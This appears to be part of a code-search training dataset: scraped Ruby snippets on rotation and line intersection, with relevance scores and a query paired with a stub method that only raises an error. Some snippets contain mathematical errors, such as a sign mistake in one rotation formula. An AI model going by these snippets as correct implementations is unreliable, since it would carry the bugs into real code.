@end_point[1]\n\t\t@rotation[2]\t= -@start_point[0] * @end_point[2] + @start_point[2] * @end_point[0]\n\t\t@rotation[3]\t= @start_point[0] * @end_point[1] - @start_point[1] * @end_point[0]\n\n\n\t\t# Use atan for a better angle. If you use only cos or sin, you only get half\n\t\t# the possible angles, and you can end up with rotations that flip around near\n\t\t# the poles.\n\n\t\t# cos(a) = (s . e) / (||s|| ||e||)\n\t\tcos_angle\t=\t@start_point[0] * @end_point[0] +\t\t# (s . e)\n\t\t\t\t\t\t@start_point[1] * @end_point[1] +\n\t\t\t\t\t\t@start_point[2] * @end_point[2]\n\n\t\ts\t\t\t= Math.sqrt(@start_point[0] * @start_point[0] +\n\t\t\t\t\t\t\t\t@start_point[1] * @start_point[1] +\n\t\t\t\t\t\t\t\t@start_point[2] * @start_point[2])\n\n\t\te\t\t\t= Math.sqrt(@end_point[0] * @end_point[0] +\n\t\t\t\t\t\t\t\t@end_point[1] * @end_point[1] +\n\t\t\t\t\t\t\t\t@end_point[2] * @end_point[2])\n\n\t\tcos_angle\t= cos_angle.quo(s).quo(e)\n\n\t\t# sin(a) = ||(s X e)|| / (||s|| ||e||)\n\t\tsin_angle\t= Math.sqrt(@rotation[1] * @rotation[1] +\t\t# ||(s X e)||\n\t\t\t\t\t\t\t\t@rotation[2] * @rotation[2] +\n\t\t\t\t\t\t\t\t@rotation[3] * @rotation[3])\n r\t\t\t= sin_angle # keep this length in lr for normalizing the rotation vector later.\n\n\t\tsin_angle\t= sin_angle.quo(s).quo(e)\n\n\t\t# GL rotations are in degrees :\n\t\trotation[0] = Math.atan2 (sin_angle, cos_angle) * RADIANS_TO_DEGREES\n\n\n\t\t# Normalize the rotation axis :\n\t\t@rotation[1] = @rotation[1].quo(r);\n\t\t@rotation[2] = @rotation[2].quo(r);\n\t\t@rotation[3] = @rotation[3].quo(r);\n\n\tend", "def transform\n if rotate\n \"rotate(#{rotate},#{x},#{y})\"\n else\n nil\n end\n end", "def rotate angle\n position = \"#{@placement[:s]}x#{@placement[:s]}+#{@placement[:x]}+#{@placement[:y]}\"\n @image.run_command(\"convert\", @image.path, \"-rotate #{360 - angle}\", @image.path)\n @image.run_command(\"convert\", @image.path, \"-gravity Center -crop #{position}\", @image.path)\n end", "def mirror_angle_horizontally!\n @angle = (-@angle) % 360\n end", "def Matrix3dRotationFromPoint3dOriginXY(arg0, arg1, arg2)\n ret = _invoke(1610743912, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def pivot(change_direction)\n\t\t# @location = LOCATION[(LOCATION.index(@location) + (change_direction == \"R\" ? 1 : -1)) % 4]\n\t\tcurrent_location = LOCATION.index(@location) # 2\n\t\tif change_direction == \"R\"\n\t\t\tcurrent_location += 1\t\t#now facing west (turned 90 degrees right)\n\t\telse\n\t\t\tcurrent_location -= 1\n\t\tend\n\t\tcurrent_location = current_location % 4 #if the number is out of range (ie. it's a negative number or larger than 3, it resets it)\n\n\t\t@location = LOCATION[current_location] #get the nth item of the array of LOCATION constant and assign its value to the specific rover's location\n\tend", "def rotate(angle)\n x = x2 - x1\n y = y2 - y1\n cos_angle = Math.cos(angle)\n sin_angle = Math.sin(angle)\n new_x = (x * cos_angle) - (y * sin_angle)\n new_y = (x * sin_angle) - (y * cos_angle)\n Line.new(p1, Point.new(x1 + new_x, y1 + new_y))\n end", "def test_rotate_90_degrees\n angle = 90\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(-2, 0), new_transform.target\n end", "def rotate(angle)\n primitive 'rotate ' + sprintf('%g', angle)\n end", "def rotate_x(\n theta # float\n) # mat3\n deg = degrees(theta).floor % 360\n if $rotation_memo[\"x#{deg}\"]\n return $rotation_memo[\"x#{deg}\"]\n end\n c = Math.cos(theta) # float\n s = Math.sin(theta) # float\n matrix = Mat3.new(\n Vec3.new(1, 0, 0),\n Vec3.new(0, c, -s),\n Vec3.new(0, s, c)\n );\n $rotation_memo[\"x#{deg}\"] = matrix\n matrix\nend", "def tilt! (degrees)\n @transforms << \"PT#{degrees}\"\n self\n end", "def rot(position)\n position + 13\n end", "def touch_end_rotation\n vector = @current_point - @selected.position\n radians = (Math::PI - (Math.atan2(vector.y,vector.x)*-1))\n\n radians = round_radians(radians)\n\n if radians > Math::PI\n radians = (Math::PI*2 - radians)\n else\n radians *= -1\n end\n \n @delegate.rotation = radians\n @delegate.close_modal_view\n end", "def roll \n\t\t\t# tan(roll) = 2(wx + yz) / (w^2 - x^2 - y^2 + z^2)\n\t\t\tx = @elem[X]; y = @elem[Y]; z = @elem[Z]; w = @elem[W]\n\t\t\treturn Math::atan( (2 * (w * x + y * z)) / (w**2 - x**2 - y**2 + z**2) )\n\t\tend", "def test_rotate_180_degrees\n angle = 180\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(0, -2), new_transform.target\n end", "def zrotation\n end", "def calc_point_rotated_relative(x,y, theta)\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n theta = conv_degree_to_radian(theta)\r\n xr= Math.cos(theta)*x - Math.sin(theta)*y \r\n yr = Math.sin(theta)*x + Math.cos(theta)*y \r\n pRes = CNCPoint.new(xr,yr)\r\nend", "def rotate(theta)\n new_x = Math::cos(theta) * @x - Math::sin(theta) * @y \n new_y = Math::sin(theta) * @x + Math::cos(theta) * @y\n BPoint.new(new_x, new_y)\n end", "def tilt\n a = self.orientation\n return 0 if not a\n \n # The direction is the second value in the array\n dir = a[1]\n \n # Compute the angle betwen the direction and [0,0,1] and subtract 90 degrees\n angle = dir.angle_between(Z_AXIS) - Math::PI/2.0\n -angle\nend", "def rotate_z(\n theta # float\n) # mat3\n deg = degrees(theta).floor % 360\n if $rotation_memo[\"z#{deg}\"]\n return $rotation_memo[\"z#{deg}\"]\n end\n c = Math.cos(theta) # float\n s = Math.sin(theta) # float\n matrix = Mat3.new(\n Vec3.new(c, -s, 0),\n Vec3.new(s, c, 0),\n Vec3.new(0, 0, 1)\n );\n $rotation_memo[\"z#{deg}\"] = matrix\n matrix\nend", "def rotate(angle, x, y, &block)\n cur_page.rotate(angle, x, y, &block)\n end", "def rotate(x,y,theta)\n [x*-1*Math.cos(theta) + y*Math.sin(theta), x*-1*Math.sin(theta) + y*-1*Math.cos(theta)]\n end", "def my_rotate(rotation = 1)\n # debugger\n answer = []\n each_with_index { |x, i| answer[i] = x }\n if rotation > 0\n rotation.times { answer.push(answer.shift) }\n elsif rotation == 0\n answer\n else\n rotation.abs.times { answer.unshift(answer.pop) }\n end\n answer\n end", "def Vector3dRotateXY(arg0, arg1)\n ret = _invoke(1610744170, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def test_rotate_negative_90_degrees\n angle = -90\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(2, 0), new_transform.target\n end", "def rotate(by = 1)\n return if @current_position.nil?\n index = DIRECTIONS.index(@current_position.dir)\n index = (index + by) % DIRECTIONS.length\n @current_position.dir = DIRECTIONS[index]\n end", "def orient_patch\n rotmat = CVFFI::CvMat.new CVFFI::cvCreateMat( 2,3, :CV_32F )\n CVFFI::cv2DRotationMatrix( CVFFI::CvPoint2D32f.new( [ @patch.width/2.0, @patch.height/2.0 ]), -@angle*180.0/Math::PI, 1.0, rotmat )\n\n dstimg = @patch.twin\n CVFFI::cvWarpAffine( @patch, dstimg, rotmat )\n\n dstimg \n end", "def rotate image, angle, outimage=nil\n m_begin \"rotate\"\n img = get_image(image)\n if false\n rotated = img.rotate(angle)\n else\n#\n# from newsgroup: The alternative way to rotate is to use -filter point +distort SRT {angle} +repage\n#\n rotated = img.resize(img.columns, img.rows, PointFilter)\n rotated = img.distort(ScaleRotateTranslateDistortion, [angle])\n end\n outimage = image if outimage.nil?\n put_image(outimage, rotated)\n m_end \"rotate\"\n end", "def rotate(angle) \n set RGhost::Cursor.rotate(angle)\n end", "def rotate(angle)\n case angle % 360\n when 0 then dup\n when 90 then rotate_cw\n when 180 then rotate_flip\n when 270 then rotate_ccw\n else\n raise RuntimeError, \"unsupported rotation angle #{angle}\"\n end\n end", "def rotate(angle, axis_x = width / 2.0, axis_y = height / 2.0)\n clone.rotate!(angle, axis_x, axis_y)\n end", "def rotate_x(t)\n sin_t = sin(t)\n cos_t = cos(t)\n @matrix *= Matrix.rows(\n [[1, 0, 0],\n [0, cos_t, -sin_t],\n [0, sin_t, cos_t]])\n self\n end", "def forwardDeg!(point)\r\n point.x *= Proj4::DEG_TO_RAD\r\n point.y *= Proj4::DEG_TO_RAD\r\n forward!(point)\r\n end", "def rotate direction, angle, obj = nil, wait = 0.2\n move_mouse_to obj, wait: 0 if obj\n Mouse.rotate direction, angle\n sleep wait\n end", "def polar\n theta = 0.0\n if Point.close_to(self.x, 0)\n if self.y > 0\n theta = 90.0\n elsif self.y < 0\n theta = 270.0\n end\n else\n theta = Point.rad2deg(Math.atan(self.y/self.x))\n if self.x < 0.0\n theta += 180.0\n end\n if theta < 0.0\n theta += 360.0\n end\n end\n theta\n end", "def rotate!(axis)\n center = [origin[X]+width/2, origin[Y]+height/2, origin[Z]+length/2]\n case axis\n when :x\n self.height, self.length = self.length, self.height\n when :y\n self.width, self.length = self.length, self.width\n when :z\n self.width, self.height = self.height, self.width\n end\n self.origin = [center[X]-width/2, center[Y]-height/2, center[Z]-length/2]\n end", "def rotate(direction)\n @direction = Compass.new.get_direction(@direction).resolve(direction)\n end", "def rotate_deg!( angle_deg )\n self.angle_deg += angle_deg\n self\n end", "def roll\n @grpc.roll_angle\n end", "def rotateByDegree(angle)\n return unless defined? angle\n currentPosition = getCurrentPosition\n z_vector = [0, 0, 1]\n\n rotationTransformation = Geom::Transformation.rotation(currentPosition, z_vector, angle.degrees)\n @@componentInstance.transform! (rotationTransformation)\n\n # Need to update the most recent transformation!!!\n # Without updating, the rotation will be changed to the initial status when move the model.\n updateAvatarLocation\n updateTransformation\n updateViewPort\n\n end", "def transform(vec)\n return getRotationMatrix() * vec\n end", "def angle_to(v)\n ret = Math.atan2(v.y, v.x) - Math.atan2(y, x)\n if ret > Math::PI\n ret -= 2*Math::PI\n end\n if ret < -Math::PI\n ret += 2*Math::PI\n end\n ret\n end", "def angle_to(v)\n ret = Math.atan2(v.y, v.x) - Math.atan2(y, x)\n if ret > Math::PI\n ret -= 2*Math::PI\n end\n if ret < -Math::PI\n ret += 2*Math::PI\n end\n ret\n end", "def inverseDeg(point)\r\n inverseDeg!(point.dup)\r\n end", "def orient_if_sure(px, py, rx, ry, qx, qy)\n l = (ry - py) * (qx - px)\n r = (rx - px) * (qy - py)\n ((l - r).abs >= (3.3306690738754716e-16 * (l + r).abs)) ? l - r : 0\n end", "def inverseDeg!(point)\r\n inverse!(point)\r\n point.x *= Proj4::RAD_TO_DEG\r\n point.y *= Proj4::RAD_TO_DEG\r\n point\r\n end", "def rotate(degrees)\n rsp = @flickr.send_request('flickr.photos.transform.rotate', {:photo_id => self.id, :degrees => degrees}, :post)\n true\n end", "def Point3dPolarAngle(arg0)\n ret = _invoke(1610744062, [arg0], [VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def draw_rotate_circle(context, center, point)\n radius = 200\n\n #get Vector\n dpoint = point - center\n\n # Find angle\n radians = (Math::PI - (Math.atan2(dpoint.y,dpoint.x)*-1))\n\n clockwise = true\n\n # Round to sections\n radians = round_radians(radians)\n\n CGContextSetStrokeColorWithColor(context,UIColor.redColor.CGColor)\n if(radians > 0 and radians < Math::PI)\n CGContextAddArc(context, center.x, center.y, radius, Math::PI, radians+Math::PI, 0)\n else\n CGContextAddArc(context, center.x, center.y, radius, Math::PI, radians+Math::PI, 1)\n clockwise = false\n end\n CGContextSetLineWidth(context, 10)\n CGContextStrokePath(context)\n\n draw_rotate_circle_arrow(context, center, radius, radians-Math::PI, clockwise)\n end", "def _rotate_face(v,face)\n ents = Sketchup.active_model.entities\n l = []\n limit = 0\n if face == 1\n limit = @outter_limit\n else\n limit = @inner_limit\n end\n index = 0\n while index < v.length\n if v[index] != 0;break;end\n index=index +1\n end\n ents.each{|g| \n if face == 1\n if g.bounds.center.to_a[index] > limit;l.insert(-1,g)\n end\n else\n if g.bounds.center.to_a[index] < limit;l.insert(-1,g)\n end\n end\n }\n group = ents.add_group l\n _rotate(group,group.bounds.center,v)\n end", "def rotate(forward, upward)\n FMOD.type?(forward, Vector) unless forward.nil?\n FMOD.type?(upward, Vector) unless upward.nil?\n FMOD.invoke(:Geometry_SetRotation, self, forward, upward)\n end", "def rotate!(axis = :x)\n case axis\n when :x\n self.move_to!(@origin_x, @origin_y, @origin_z + @height)\n @width, @height = @height, @width\n when :y\n self.move_to!(@origin_x + @height, @origin_y, @origin_z)\n @length, @height = @height, @length\n when :z\n self.move_to!(@origin_x + @width, @origin_y, @origin_z)\n @width, @length = @length, @width\n end\n end", "def clockwise points\n ul = Struct.new(:x, :y).new 0, 0\n upper_left = points.min_by { |point| distance point, ul }\n until points.first == upper_left\n points = points.rotate\n end\n points\n end", "def forwardDeg(point)\r\n forwardDeg!(point.dup)\r\n end", "def rotate_array(aArray, off_x, off_y, rel_angle, change_in_place=false)\r\n # - - - - - - - - - - - - - - - - - - - - -\r\nend", "def rotation(during, on, angle_start, angle_end, distortion: :UNICITY_DISTORTION, time_source: :GENERIC_TIME_SOURCE)\n ScalarAnimation.new(during, on, :angle=, angle_start, angle_end, distortion: distortion, time_source: time_source)\n end", "def compute_sphere_rotation_matrix\n # puts \"\\n #{__method__.to_s} enter\"\n # log_sphere_point_when(@sphere_point_when)\n\n # Perp vector is the axis of rotation of the sphere\n # as we roll the arcball from point A to point B\n #\n v_perp = @sphere_point_when[:mouse_down].cross(@sphere_point_when[:mouse_draged])\n\n\n # Just return the identity if we didn't move significantly\n #return Geo3d::Matrix.identity if (v_perp.length < EPSILON)\n\n\n # In the quaternion values,\n # w is cosine (theta / 2), where theta is rotation angle\n #\n v_perp.w = @sphere_point_when[:mouse_down].dot(@sphere_point_when[:mouse_draged])\n\n v_perp.normalize!\n\n # Compute new rotation matrix\n q = Geo3d::Quaternion.new(v_perp.x, v_perp.y, v_perp.z, v_perp.w)\n\n # arc_ball_rotation_matrix\n q.to_matrix\n end", "def rotate( angle_rad )\n dup.rotate!( angle_rad )\n end", "def turn_right\n @angle += ROTATION_SPEED\n end", "def next_to(angle, x=@x, y=@y)\n points = case angle % 360\n when 0 then\n [[x, y - 1], [x + WIDTH - 1, y - 1]]\n when 90 then\n [[x + WIDTH, y], [x + WIDTH, y + HEIGHT - 1]]\n when 180 then\n [[x, y + HEIGHT], [x + WIDTH - 1, y + HEIGHT]]\n when 270 then\n [[x - 1, y], [x - 1, y + HEIGHT - 1]]\n else puts \"Trig unimplemented\"; []\n end\n @space.entities_at_points(points)\n end", "def next_to(angle, x=@x, y=@y)\n points = case angle % 360\n when 0 then\n [[x, y - 1], [x + WIDTH - 1, y - 1]]\n when 90 then\n [[x + WIDTH, y], [x + WIDTH, y + HEIGHT - 1]]\n when 180 then\n [[x, y + HEIGHT], [x + WIDTH - 1, y + HEIGHT]]\n when 270 then\n [[x - 1, y], [x - 1, y + HEIGHT - 1]]\n else puts \"Trig unimplemented\"; []\n end\n @space.entities_at_points(points)\n end", "def angle_to other_point\n Geometry.angle_to self, other_point\n end", "def axis_rotation( axis, angle ) \n\t\t\traise TypeError, \"no implicit conversion of %s to ODE::Vector\" unless\n\t\t\t\taxis.is_a?( ODE::Vector )\n\t\t\tangle = Float(angle)\n\n\t\t\tif len = axis.abs\n\t\t\t\ta = axis/len * sin( angle / 2.0 );\n\t\t\t\tself.class.new( a, cos(angle/2.0) )\n\t\t\telse\n\t\t\t\tself.class.identity\n\t\t\tend\n\t\tend", "def oriented_exit(exit_point)\n @orientation.times do\n exit_point = Direction.clockwise_from(exit_point)\n end\n\n exit_point\n end", "def angle()\n a, c = @view__.angle, @context__\n c ? c.fromDegrees__(a) : a * Processing::GraphicsContext::DEG2RAD__\n end", "def turn_right(angle)\n @angle = @angle -angle*Math::PI / 180\n end", "def increase_rotation angle\n error(\n \"Passed argument `angle' needs to be an Integer or Float, but got\",\n \" #{angle.inspect}.#{angle.class.name}\"\n ) unless ([Integer, Float].include? angle.class)\n @rotation += angle\n handle_rotation_overflow\n end", "def find_rotation_point(words, begin_idx = 0, end_idx = words.length - 1, i = 0)\n if words[begin_idx..end_idx].length == 2\n puts \"I found a winner\"\n puts \"#{words[begin_idx]} is the pivoting word\"\n return \"which occurs at index #{begin_idx}\"\n end\n\n pivot = (end_idx - begin_idx) / 2\n pivot += 1 if begin_idx == 0 && end_idx == words.length - 1\n\n if words[pivot][i].ord < words[end_idx][i].ord #switch is before\n return find_rotation_point(words, begin_idx, pivot, i)\n elsif words[pivot][i].ord > words[end_idx][i].ord\n return find_rotation_point(words, pivot + begin_idx, end_idx, i)\n elsif i == words[pivot].length\n return pivot\n else\n return find_rotation_point(words, begin_idx, end_idx, i + 1)\n end\nend", "def tilt(degrees)\n @pan_servo.move_to degrees\n end", "def rotateToDegree(degree)\n preDegree = getActualAngle\n adjustment = degree - preDegree\n rotateByDegree(adjustment)\n \n dir = getCurrentDirection\n if(@@roomView)\n @@rotationArray.unshift(dir) \n end\n\n if(@@eyeView) \n @@rotateAngle = adjustment\n @@view.animation = Avatar.new\n @@rotateAngle = 0\n end\n end" ]
[ "0.7248794", "0.67271066", "0.6599568", "0.65638596", "0.65050906", "0.6434806", "0.63303524", "0.62884986", "0.6158123", "0.6145699", "0.61132485", "0.6047556", "0.6029288", "0.5985884", "0.5983372", "0.5962268", "0.5916851", "0.5892418", "0.5876767", "0.58615625", "0.5856632", "0.5854943", "0.5854491", "0.5852753", "0.5847141", "0.5780849", "0.5749417", "0.57232183", "0.5713551", "0.5710487", "0.56876844", "0.56867033", "0.5680395", "0.5650454", "0.5646042", "0.5608692", "0.5588548", "0.5561871", "0.55513835", "0.55446744", "0.5541976", "0.552345", "0.55210173", "0.55198544", "0.5517477", "0.5517219", "0.54725146", "0.5469391", "0.54508257", "0.54500914", "0.5448961", "0.5443236", "0.543802", "0.5414885", "0.5413497", "0.54088426", "0.540213", "0.5391216", "0.53897125", "0.53817123", "0.5380105", "0.5365058", "0.53645575", "0.53624153", "0.53462476", "0.53342795", "0.53317535", "0.5324157", "0.5323861", "0.53147036", "0.5303864", "0.5296325", "0.5296325", "0.5284668", "0.5278009", "0.52739555", "0.52554077", "0.52479804", "0.52449554", "0.52438694", "0.52433866", "0.5238113", "0.52163005", "0.52141964", "0.52057046", "0.51966417", "0.5190942", "0.5187856", "0.51733035", "0.51655644", "0.51655644", "0.5164224", "0.51527596", "0.5144315", "0.513423", "0.51341224", "0.5119794", "0.5098015", "0.50896263", "0.50882286" ]
0.68556434
1
Evaluates if two lines intersect
def bbpLineIntersect(point_a, point_b, point_c, point_d, hit_point, second_hit_point) rise 'Method not implemented' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def line_intersect_line?(line_one, line_two)\n x1 = line_one[:x]\n y1 = line_one[:y]\n x2 = line_one[:x2]\n y2 = line_one[:y2]\n\n x3 = line_two[:x]\n y3 = line_two[:y]\n x4 = line_two[:x2]\n y4 = line_two[:y2]\n\n uA = ((x4-x3)*(y1-y3) - (y4-y3)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n uB = ((x2-x1)*(y1-y3) - (y2-y1)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n\n uA >= 0 && uA <= 1 && uB >= 0 && uB <= 1\n end", "def segments_intersect?(line_one, line_two)\n x1 = line_one[:x]\n y1 = line_one[:y]\n x2 = line_one[:x2]\n y2 = line_one[:y2]\n\n x3 = line_two[:x]\n y3 = line_two[:y]\n x4 = line_two[:x2]\n y4 = line_two[:y2]\n\n uA = ((x4-x3)*(y1-y3) - (y4-y3)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n uB = ((x2-x1)*(y1-y3) - (y2-y1)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n\n uA >= 0 && uA <= 1 && uB >= 0 && uB <= 1\n end", "def lineIntersects _args\n \"lineIntersects _args;\" \n end", "def lineIntersectsWith _args\n \"lineIntersectsWith _args;\" \n end", "def check_intersection(line1, line2)\n # Lines that share an endpoint cannot intersect; due to precision\n # issues, we need to make an explicit check for this, and stick\n # a delta on it besides\n if (check_endpoints(line1, line2, POINT_DELTA))\n return false\n end\n x1 = line1.start_point.x\n x2 = line1.end_point.x\n x3 = line2.start_point.x\n x4 = line2.end_point.x\n y1 = line1.start_point.y\n y2 = line1.end_point.y\n y3 = line2.start_point.y\n y4 = line2.end_point.y\n den = (x1 - x2) * (y3 - y4) - (y1 - y2) * (x3 - x4)\n point_x = (x1 * y2 - y1 * x2) * (x3 - x4) - (x1 - x2) * (x3 * y4 - x4 * y3)\n if (den == 0)\n return false\n end\n point_x = point_x / den\n if ((x1 > x2 && point_x >= x1) || (x1 < x2 && point_x <= x1) ||\n (x3 > x4 && point_x >= x3) || (x3 < x4 && point_x <= x3) ||\n (x1 > x2 && point_x <= x2) || (x1 < x2 && point_x >= x2) ||\n (x3 > x4 && point_x <= x4) || (x3 < x4 && point_x >= x4))\n return false\n end\n # The above fails for any perfectly (or, due to precision issues,\n # sufficiently) vertical lines that would intersect (if extended to)\n # the other line; check y instead in that case:\n if ((x1 + POINT_DELTA > x2 && x1 - POINT_DELTA < x2) ||\n (x3 + POINT_DELTA > x4 && x3 - POINT_DELTA < x4))\n point_y = (x1 * y2 - y1 * x2) * (y3 - y4) - (y1 - y2) * (x3 * y4 - x4 * y3)\n point_y = point_y / den\n if ((y1 > y2 && point_y >= y1) || (y1 < y2 && point_y <= y1) ||\n (y3 > y4 && point_y >= y3) || (y3 < y4 && point_y <= y3) ||\n (y1 > y2 && point_y <= y2) || (y1 < y2 && point_y >= y2) ||\n (y3 > y4 && point_y <= y4) || (y3 < y4 && point_y >= y4))\n return false\n end\n end\n return true\nend", "def intersect?(triangle, lines)\n line1 = [triangle[0], triangle[2]]\n line2 = [triangle[1], triangle[2]]\n \n lines.any? do |line|\n \n int1 = Geom.intersect_line_line line, line1\n int2 = Geom.intersect_line_line line, line2\n \n intersected = false\n \n if(!int1.nil?)\n puts \"#{line1.inspect} intersect #{line.inspect} at #{int1.inspect}\"\n intersected = true if(in_box(line1, int1) && in_box(line, int1))\n end\n \n if (!int2.nil?)\n puts \"#{line2.inspect} intersect #{line.inspect} at #{int2.inspect}\"\n intersected = true if(in_box(line2, int2) && in_box(line, int2))\n end\n \n intersected\n end\n end", "def line_line_intersection(l1s, l1e, l2s, l2e)\n seg1 = l1e - l1s\n seg2 = l2e - l2s\n\n d = (-seg2.x * seg1.y + seg1.x * seg2.y)\n\n s = (-seg1.y * (l1s.x - l2s.x) + seg1.x * (l1s.y - l2s.y)) / d;\n t = ( seg2.x * (l1s.y - l2s.y) - seg2.y * (l1s.x - l2s.x)) / d;\n\n if s > 0 && s < 1 && t > 0 && t < 1\n x = l1s.x + (t * seg1.x)\n y = l1s.y + (t * seg1.y)\n\n V.new(x, y)\n end\n end", "def line_intersection(x1, y1, x2, y2, x3, y3, x4, y4)\n # calculate vector products\n d1 = (x3 - x1) * (y4 - y1) - (x4 - x1) * (y3 - y1)\n d2 = (x3 - x2) * (y4 - y2) - (x4 - x2) * (y3 - y2)\n d3 = (x1 - x3) * (y2 - y3) - (x2 - x3) * (y1 - y3)\n d4 = (x1 - x4) * (y2 - y4) - (x2 - x4) * (y1 - y4)\n # check vector product results\n if (d1 > 0 && d2 < 0 || d1 < 0 && d2 > 0) &&\n (d3 > 0 && d4 < 0 || d3 < 0 && d4 > 0)\n # intersection exists\n return true\n end\n # if at least one point of one line lies on the other line\n if d1 == 0 && (x3 < x4 ? x3 : x4) <= x1 && x1 <= (x3 > x4 ? x3 : x4) &&\n (y3 < y4 ? y3 : y4) <= y1 && y1 <= (y3 > y4 ? y3 : y4) ||\n d2 == 0 && (x3 < x4 ? x3 : x4) <= x2 && x2 <= (x3 > x4 ? x3 : x4) &&\n (y3 < y4 ? y3 : y4) <= y2 && y2 <= (y3 > y4 ? y3 : y4) ||\n d3 == 0 && (x1 < x2 ? x1 : x2) <= x3 && x3 <= (x1 > x2 ? x1 : x2) &&\n (y1 < y2 ? y1 : y2) <= y3 && y3 <= (y1 > y2 ? y1 : y2) ||\n d4 == 0 && (x1 < x2 ? x1 : x2) <= x4 && x4 <= (x1 > x2 ? x1 : x2) &&\n (y1 < y2 ? y1 : y2) <= y4 && y4 <= (y1 > y2 ? y1 : y2)\n # intersection exists\n return true\n end\n # intersection does not exist\n return false\n end", "def line_intersection(l1, l2)\n x1 = l1[0][0]; x2 = l1[1][0]; x3 = l2[0][0]; x4 = l2[1][0]\n y1 = l1[0][1]; y2 = l1[1][1]; y3 = l2[0][1]; y4 = l2[1][1]\n\n denominator = (x1-x2)*(y3-y4) - (y1-y2)*(x3-x4)\n return false if denominator == 0\n dxy12 = (x1*y2 - y1*x2)\n dxy34 = (x3*y4 - y3*x4)\n x = (dxy12*(x3-x4) - (x1-x2)*dxy34) / denominator\n y = (dxy12*(y3-y4) - (y1-y2)*dxy34) / denominator\n WorldGen::Vector[x.round, y.round]\n end", "def lineCheck (l1, l2)\n if(l1 == l2)\n true;\n else\n false;\n end\nend", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersection(note_a, note_b)\n\n return (note_a[0] <= note_b[1] and note_a[1] >= note_b[0])\n\n end", "def lineIntersectsObjs _args\n \"lineIntersectsObjs _args;\" \n end", "def iscrossing(pt1,pt2, theface)\r\n line = [pt1, pt2]\r\n theface.loops.each { |loop|\r\n edges = loop.edges\r\n edges.each { |e| #check each edge to see if it intersects line inside the edge\r\n l2 = [e.vertices[0].position, e.vertices[1].position] # make a line\r\n point = Geom.intersect_line_line(line, e.vertices) # find intersection\r\n if (point != nil)\r\n online1 = isonline(point, line[0], line[1]) # is the point on the line\r\n online2 = isonline(point, e.vertices[0].position, e.vertices[1].position) # is the point on the edge\r\n #ent.add_cpoint(point) if (online1 and online2)\r\n #puts \"online1 #{online1} #{online2}\"\r\n return true if (online1 and online2)\r\n # if (online1 and online2) then we can return true here, no need to process more\r\n end\r\n } # edges.each\r\n } # loops.each\r\n return false\r\n end", "def is_on_line?(line)\n to_a.zip(line.point.to_a, line.vector.to_a).map { |a, b, c| (a - b) / c }.uniq.length == 1\n end", "def intersectLineSegment seg\n # this is the intersect defined in method calling on \n # intersectlinesegment\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def contains?(x, y)\n line_len = length\n points_distance(@x1, @y1, x, y) <= line_len &&\n points_distance(@x2, @y2, x, y) <= line_len &&\n (((@y2 - @y1) * x - (@x2 - @x1) * y + @x2 * @y1 - @y2 * @x1).abs / line_len) <= 0.5 * @width\n end", "def intersectWithSegmentAsLineResult seg\n # self is the intersection \n self\n end", "def is_same_line on_line, off_line\n\tif on_line == off_line\n\t\ttrue\n\telse\n\t\tfalse\n\tend\nend", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def line_intersect_rect?(line, rect)\n rect_to_lines(rect).each do |rect_line|\n return true if segments_intersect?(line, rect_line)\n end\n\n false\n end", "def wherecrossing(pt1,pt2, theface)\r\n line = [pt1, pt2]\r\n theface.loops.each { |loop|\r\n edges = loop.edges\r\n edges.each { |e| #check each edge to see if it intersects line inside the edge\r\n l2 = [e.vertices[0].position, e.vertices[1].position] # make a line\r\n point = Geom.intersect_line_line(line, e.vertices) # find intersection\r\n if (point != nil)\r\n online1 = isonline(point, line[0], line[1]) # is the point on the line\r\n online2 = isonline(point, e.vertices[0].position, e.vertices[1].position) # is the point on the edge\r\n #ent.add_cpoint(point) if (online1 and online2)\r\n #puts \"online1 #{online1} #{online2}\"\r\n return point if (online1 and online2)\r\n # if (online1 and online2) then we can return true here, no need to process more\r\n end\r\n } # edges.each\r\n } # loops.each\r\n return nil\r\n end", "def in_line( x, y )\n x + @left_column < line_at( y ).length\n end", "def in_line( x, y )\n x + @left_column < line_at( y ).length\n end", "def intersection_point(a1, a2, b1, b2)\n ip = nil\n bounds_x = bounds(a1.x, a2.x)\n bounds_y = bounds(a1.y, a2.y)\n # first line is horizontal\n if a1.y == a2.y\n # second line is vertical -> there can be an intersection\n if b2.x == b1.x\n ip = Coord2.new(b1.x, a1.y)\n # Then we check if the point actually intersects\n bounds_b = bounds(b1.y, b2.y)\n\n return nil if b1.x < bounds_x[0] || b1.x > bounds_x[1]\n return nil if bounds_b[0] > bounds_y[0] || bounds_b[1] < bounds_y[1]\n end\n # first line is vertical\n elsif a1.x == a2.x\n # second line is horizontal -> there can be an intersection\n if b2.y == b1.y\n ip = 